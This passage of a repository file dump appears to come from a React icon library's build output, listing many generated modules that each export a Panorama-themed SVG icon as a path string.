    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 18h18V6H3zm5.5-5.5 2.5 3.01L14.5 11l4.5 6H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H3V6h18zm-6.5-7L11 15.51 8.5 12.5 5 17h14z\"\n}, \"1\")], 'PanoramaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVertical.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.94 21.12c-1.1-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.04-.11.06-.22.06-.31 0-.34-.23-.57-.63-.57H4.63c-.4 0-.63.23-.63.57 0 .1.02.2.06.31C5.16 5.82 5.71 8.91 5.71 12s-.55 6.18-1.64 9.12c-.05.11-.07.22-.07.31 0 .33.23.57.63.57h14.75c.39 0 .63-.24.63-.57-.01-.1-.03-.2-.07-.31M6.54 20c.77-2.6 1.16-5.28 1.16-8s-.39-5.4-1.16-8h10.91c-.77 2.6-1.16 5.28-1.16 8s.39 5.4 1.16 8z\"\n}), 'PanoramaVertical');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVertical.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.94 21.12c-1.1-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.04-.11.06-.22.06-.31 0-.34-.23-.57-.63-.57H4.63c-.4 0-.63.23-.63.57 0 .1.02.2.06.31C5.16 5.82 5.71 8.91 5.71 12s-.55 6.18-1.64 9.12c-.05.11-.07.22-.07.31 0 .33.23.57.63.57h14.75c.39 0 .63-.24.63-.57-.01-.1-.03-.2-.07-.31M6.54 20c.77-2.6 1.16-5.28 1.16-8s-.39-5.4-1.16-8h10.91c-.77 2.6-1.16 5.28-1.16 8s.39 5.4 1.16 8z\"\n}), 'PanoramaVertical');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.94 21.12c-1.1-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.04-.11.06-.22.06-.31 0-.34-.23-.57-.63-.57H4.63c-.4 0-.63.23-.63.57 0 .1.02.2.06.31C5.16 5.82 5.71 8.91 5.71 12s-.55 6.18-1.64 9.12c-.05.11-.07.22-.07.31 0 .33.23.57.63.57h14.75c.39 0 .63-.24.63-.57-.01-.1-.03-.2-.07-.31M6.54 20c.77-2.6 1.16-5.28 1.16-8s-.39-5.4-1.16-8h10.91c-.77 2.6-1.16 5.28-1.16 8s.39 5.4 1.16 8z\"\n}), 'PanoramaVerticalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.94 21.12c-1.1-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.04-.11.06-.22.06-.31 0-.34-.23-.57-.63-.57H4.63c-.4 0-.63.23-.63.57 0 .1.02.2.06.31C5.16 5.82 5.71 8.91 5.71 12s-.55 6.18-1.64 9.12c-.05.11-.07.22-.07.31 0 .33.23.57.63.57h14.75c.39 0 .63-.24.63-.57-.01-.1-.03-.2-.07-.31M6.54 20c.77-2.6 1.16-5.28 1.16-8s-.39-5.4-1.16-8h10.91c-.77 2.6-1.16 5.28-1.16 8s.39 5.4 1.16 8z\"\n}), 'PanoramaVerticalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.94 21.12c-1.1-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.04-.11.06-.22.06-.31 0-.34-.23-.57-.63-.57H4.63c-.4 0-.63.23-.63.57 0 .1.02.2.06.31C5.16 5.82 5.71 8.91 5.71 12s-.55 6.18-1.64 9.12c-.05.11-.07.22-.07.31 0 .33.23.57.63.57h14.75c.39 0 .63-.24.63-.57-.01-.1-.03-.2-.07-.31M6.54 20c.77-2.6 1.16-5.28 1.16-8s-.39-5.4-1.16-8h10.91c-.77 2.6-1.16 5.28-1.16 8s.39 5.4 1.16 8z\"\n}), 'PanoramaVerticalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.94 21.12c-1.1-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.04-.11.06-.22.06-.31 0-.34-.23-.57-.63-.57H4.63c-.4 0-.63.23-.63.57 0 .1.02.2.06.31C5.16 5.82 5.71 8.91 5.71 12s-.55 6.18-1.64 9.12c-.05.11-.07.22-.07.31 0 .33.23.57.63.57h14.75c.39 0 .63-.24.63-.57-.01-.1-.03-.2-.07-.31M6.54 20c.77-2.6 1.16-5.28 1.16-8s-.39-5.4-1.16-8h10.91c-.77 2.6-1.16 5.28-1.16 8s.39 5.4 1.16 8z\"\n}), 'PanoramaVerticalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSelect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.93 21.12c-1.1-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.05-.11.07-.22.07-.31 0-.34-.24-.57-.64-.57H4.62c-.4 0-.63.23-.63.57 0 .1.02.2.06.31C5.16 5.82 5.7 8.91 5.7 12s-.55 6.18-1.64 9.12c-.05.11-.07.22-.07.31 0 .33.23.57.63.57h14.75c.39 0 .63-.24.63-.57 0-.1-.02-.2-.07-.31\"\n}), 'PanoramaVerticalSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSelect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.93 21.12c-1.1-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.05-.11.07-.22.07-.31 0-.34-.24-.57-.64-.57H4.62c-.4 0-.63.23-.63.57 0 .1.02.2.06.31C5.16 5.82 5.7 8.91 5.7 12s-.55 6.18-1.64 9.12c-.05.11-.07.22-.07.31 0 .33.23.57.63.57h14.75c.39 0 .63-.24.63-.57 0-.1-.02-.2-.07-.31\"\n}), 'PanoramaVerticalSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 12c0-3.89.84-6.95 1.43-8.69.22-.64-.26-1.31-.95-1.31H5c-.68 0-1.16.66-.95 1.31C4.74 5.36 5.5 8.1 5.5 12c0 3.87-.76 6.66-1.45 8.69-.21.65.27 1.31.95 1.31h14c.68 0 1.17-.66.95-1.31-.68-2.03-1.45-4.83-1.45-8.69\"\n}), 'PanoramaVerticalSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 12c0-3.89.84-6.95 1.43-8.69.22-.64-.26-1.31-.95-1.31H5c-.68 0-1.16.66-.95 1.31C4.74 5.36 5.5 8.1 5.5 12c0 3.87-.76 6.66-1.45 8.69-.21.65.27 1.31.95 1.31h14c.68 0 1.17-.66.95-1.31-.68-2.03-1.45-4.83-1.45-8.69\"\n}), 'PanoramaVerticalSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 12c0-3.89.84-6.95 1.43-8.69.22-.64-.26-1.31-.95-1.31H5c-.68 0-1.16.66-.95 1.31C4.74 5.36 5.5 8.1 5.5 12c0 3.87-.76 6.66-1.45 8.69-.21.65.27 1.31.95 1.31h14c.68 0 1.17-.66.95-1.31-.68-2.03-1.45-4.83-1.45-8.69\"\n}), 'PanoramaVerticalSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 12c0-3.89.84-6.95 1.43-8.69.22-.64-.26-1.31-.95-1.31H5c-.68 0-1.16.66-.95 1.31C4.74 5.36 5.5 8.1 5.5 12c0 3.87-.76 6.66-1.45 8.69-.21.65.27 1.31.95 1.31h14c.68 0 1.17-.66.95-1.31-.68-2.03-1.45-4.83-1.45-8.69\"\n}), 'PanoramaVerticalSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.49 11.99c0-5.25 1.54-9.01 1.92-10H3.59c.76 2.16 1.9 5.21 1.9 10 0 4.78-1.17 7.91-1.9 10H20.4c-.74-2.08-1.91-5.23-1.91-10\"\n}), 'PanoramaVerticalSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.49 11.99c0-5.25 1.54-9.01 1.92-10H3.59c.76 2.16 1.9 5.21 1.9 10 0 4.78-1.17 7.91-1.9 10H20.4c-.74-2.08-1.91-5.23-1.91-10\"\n}), 'PanoramaVerticalSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.5 12c0-3.89.84-6.95 1.43-8.69.22-.64-.26-1.31-.95-1.31H5c-.68 0-1.16.66-.95 1.31C4.74 5.36 5.5 8.1 5.5 12c0 3.87-.76 6.66-1.45 8.69-.21.65.27 1.31.95 1.31h14c.68 0 1.17-.66.95-1.31-.68-2.03-1.45-4.83-1.45-8.69\"\n}), 'PanoramaVerticalSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.5 12c0-3.89.84-6.95 1.43-8.69.22-.64-.26-1.31-.95-1.31H5c-.68 0-1.16.66-.95 1.31C4.74 5.36 5.5 8.1 5.5 12c0 3.87-.76 6.66-1.45 8.69-.21.65.27 1.31.95 1.31h14c.68 0 1.17-.66.95-1.31-.68-2.03-1.45-4.83-1.45-8.69\"\n}), 'PanoramaVerticalSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.46 4c-.77 2.6-1.16 5.28-1.16 8s.39 5.41 1.16 8H6.55c.77-2.6 1.16-5.28 1.16-8s-.39-5.41-1.16-8zm2.78-2H3.77s.26.77.3.88C5.16 5.82 5.71 8.91 5.71 12s-.55 6.18-1.64 9.12c-.04.11-.3.88-.3.88h16.47s-.26-.77-.3-.88c-1.09-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.04-.11.3-.88.3-.88\"\n}), 'PanoramaVerticalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.46 4c-.77 2.6-1.16 5.28-1.16 8s.39 5.41 1.16 8H6.55c.77-2.6 1.16-5.28 1.16-8s-.39-5.41-1.16-8zm2.78-2H3.77s.26.77.3.88C5.16 5.82 5.71 8.91 5.71 12s-.55 6.18-1.64 9.12c-.04.11-.3.88-.3.88h16.47s-.26-.77-.3-.88c-1.09-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.04-.11.3-.88.3-.88\"\n}), 'PanoramaVerticalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.54 4c.77 2.6 1.16 5.28 1.16 8s-.39 5.4-1.16 8h10.91c-.77-2.6-1.16-5.28-1.16-8s.39-5.4 1.16-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.94 21.12c-1.1-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.04-.11.06-.22.06-.31 0-.34-.23-.57-.63-.57H4.63c-.4 0-.63.23-.63.57 0 .1.02.2.06.31C5.16 5.82 5.71 8.91 5.71 12s-.55 6.18-1.64 9.12c-.05.11-.07.22-.07.31 0 .33.23.57.63.57h14.75c.39 0 .63-.24.63-.57-.01-.1-.03-.2-.07-.31M17.45 20H6.54c.77-2.6 1.16-5.28 1.16-8s-.39-5.4-1.16-8h10.91c-.77 2.6-1.16 5.28-1.16 8s.39 5.4 1.16 8\"\n}, \"1\")], 'PanoramaVerticalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaVerticalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.54 4c.77 2.6 1.16 5.28 1.16 8s-.39 5.4-1.16 8h10.91c-.77-2.6-1.16-5.28-1.16-8s.39-5.4 1.16-8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.94 21.12c-1.1-2.94-1.64-6.03-1.64-9.12s.55-6.18 1.64-9.12c.04-.11.06-.22.06-.31 0-.34-.23-.57-.63-.57H4.63c-.4 0-.63.23-.63.57 0 .1.02.2.06.31C5.16 5.82 5.71 8.91 5.71 12s-.55 6.18-1.64 9.12c-.05.11-.07.22-.07.31 0 .33.23.57.63.57h14.75c.39 0 .63-.24.63-.57-.01-.1-.03-.2-.07-.31M17.45 20H6.54c.77-2.6 1.16-5.28 1.16-8s-.39-5.4-1.16-8h10.91c-.77 2.6-1.16 5.28-1.16 8s.39 5.4 1.16 8\"\n}, \"1\")], 'PanoramaVerticalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c2.45 0 4.71.2 7.29.64.47 1.78.71 3.58.71 5.36s-.24 3.58-.71 5.36c-2.58.44-4.84.64-7.29.64s-4.71-.2-7.29-.64C4.24 15.58 4 13.78 4 12s.24-3.58.71-5.36C7.29 6.2 9.55 6 12 6m0-2c-2.73 0-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22l-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4\"\n}), 'PanoramaWideAngle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c2.45 0 4.71.2 7.29.64.47 1.78.71 3.58.71 5.36s-.24 3.58-.71 5.36c-2.58.44-4.84.64-7.29.64s-4.71-.2-7.29-.64C4.24 15.58 4 13.78 4 12s.24-3.58.71-5.36C7.29 6.2 9.55 6 12 6m0-2c-2.73 0-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22l-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4\"\n}), 'PanoramaWideAngle');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c2.45 0 4.71.2 7.29.64.47 1.78.71 3.58.71 5.36s-.24 3.58-.71 5.36c-2.58.44-4.84.64-7.29.64s-4.71-.2-7.29-.64C4.24 15.58 4 13.78 4 12s.24-3.58.71-5.36C7.29 6.2 9.55 6 12 6m0-2c-2.73 0-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22l-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4\"\n}), 'PanoramaWideAngleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c2.45 0 4.71.2 7.29.64.47 1.78.71 3.58.71 5.36s-.24 3.58-.71 5.36c-2.58.44-4.84.64-7.29.64s-4.71-.2-7.29-.64C4.24 15.58 4 13.78 4 12s.24-3.58.71-5.36C7.29 6.2 9.55 6 12 6m0-2c-2.73 0-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22l-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4\"\n}), 'PanoramaWideAngleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c2.45 0 4.71.2 7.29.64.47 1.78.71 3.58.71 5.36s-.24 3.58-.71 5.36c-2.58.44-4.84.64-7.29.64s-4.71-.2-7.29-.64C4.24 15.58 4 13.78 4 12s.24-3.58.71-5.36C7.29 6.2 9.55 6 12 6m0-2c-2.73 0-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22l-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4\"\n}), 'PanoramaWideAngleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c2.45 0 4.71.2 7.29.64.47 1.78.71 3.58.71 5.36s-.24 3.58-.71 5.36c-2.58.44-4.84.64-7.29.64s-4.71-.2-7.29-.64C4.24 15.58 4 13.78 4 12s.24-3.58.71-5.36C7.29 6.2 9.55 6 12 6m0-2c-2.73 0-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22l-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4\"\n}), 'PanoramaWideAngleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSelect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-2.73 0-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22l-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4\"\n}), 'PanoramaWideAngleSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSelect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-2.73 0-5.22.24-7.95.72l-.93.16-.25.9C2.29 7.85 2 9.93 2 12s.29 4.15.87 6.22l.25.89.93.16c2.73.49 5.22.73 7.95.73s5.22-.24 7.95-.72l.93-.16.25-.89c.58-2.08.87-4.16.87-6.23s-.29-4.15-.87-6.22l-.25-.89-.93-.16C17.22 4.24 14.73 4 12 4\"\n}), 'PanoramaWideAngleSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-3.97 0-6.85.63-9 1-.55 1.97-1 3.92-1 7 0 3.03.45 5.05 1 7 2.15.37 4.98 1 9 1 3.97 0 6.85-.63 9-1 .57-2.02 1-3.99 1-7 0-3.03-.45-5.05-1-7-2.15-.37-4.98-1-9-1\"\n}), 'PanoramaWideAngleSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaWideAngleSelectOutlined.mjs",
